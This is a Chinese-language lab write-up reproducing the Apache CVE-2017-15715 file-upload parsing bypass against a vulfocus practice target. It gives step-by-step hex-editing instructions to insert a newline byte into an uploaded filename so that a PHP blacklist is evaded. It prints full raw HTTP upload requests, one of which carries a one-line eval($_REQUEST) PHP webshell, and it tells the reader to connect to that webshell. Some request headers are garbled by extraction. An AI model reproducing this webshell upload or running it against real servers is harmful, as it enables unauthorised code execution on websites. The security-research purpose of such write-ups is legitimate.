apache⽂件上传(CVE-2017-15715)漏洞复现
apache ⽂件上传 CVE-2017-15715
所有⽂章,仅供安全研究与学习之⽤,后果⾃负!
apache ⽂件上传 (CVE-2017-15715)
0x01 漏洞描述
Apache(⾳译为阿帕奇)是世界使⽤排名第⼀的Web服务器软件。它可以运⾏在⼏乎所有⼴泛使⽤的计算机平台上,由于其跨平台和安全性被⼴泛使⽤,是最流⾏的Web服务器端软件之⼀。 此漏洞的出现是由于 apache 在修复第⼀个后缀名解析漏洞时,⽤正则来匹配后缀。在解析 php 时 xxx.php\x0A 将被按照 php 后缀进⾏解析,导致绕过⼀些服务器的安全策略
0x02 影响范围
Apache HTTPd 2.4.0~2.4.29
0x03 漏洞复现
写⼊phpinfo
(1)打开靶场
发现是空页⾯
抓包
发现响应包中
存在 apache解析漏洞 可以绕过php⿊名单限制
然⽽ 没有上传页⾯ 尝试直接 修改为POST 添加 上传⽂件请求
(2) 尝试 上传 写了
内容的 1.php⽂件请求包 和响应包如下
Server: Apache/2.4.10 (Debian)
X-Powered-By: PHP/5.5.38<?php phpinfo(); ?>
POST / HTTP /1.1
Host : vulfocus .fofa .so :50892
User -Agent : Mozilla /5.0 (Windows NT 10.0; Win64; x64; rv :94.0) Gecko /20100101 Firefox /94.0Accept : text /html ,application /xhtml +xml ,application /xml ;q =0.9,image /avif ,image /webp ,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
cve漏洞库Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------9552222486401230933854482358Content-Length: 359
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="name"
1.php
-----------------------------9552222486401230933854482358--
bad file 上传失败
上传
如下图 上传成功 说明 是php的⿊名单拦截
(4) 利⽤ 该版本存在的漏洞进⾏利⽤尝试
先将名字 改为1.phpaaaaa
a的hex值为61多写⼏个 ⽅便寻思路是:
修改1.php 后的hex 为0a
将其第⼀个61 改为0a
变为这样
然后删去多出来的aaa
注意a删完 留下空⾏
(5)访问上传后的 ⽂件 看是否解析注意 ⽂件明后需要加%0A
否则就会上传失败,再次修改名字上传ip:port/6.php%0A
vulfocus.fofa.so:16858/6.php%0A
发现解析成功
连接webshell
POST / HTTP/1.1
Host: vulfocus.fofa.so:16858
User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------9552222486401230933854482358 Content-Length: 369
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
<?php eval($_REQUEST[1]); ?>
-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="name"
6.php
-----------------------------9552222486401230933854482358--

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。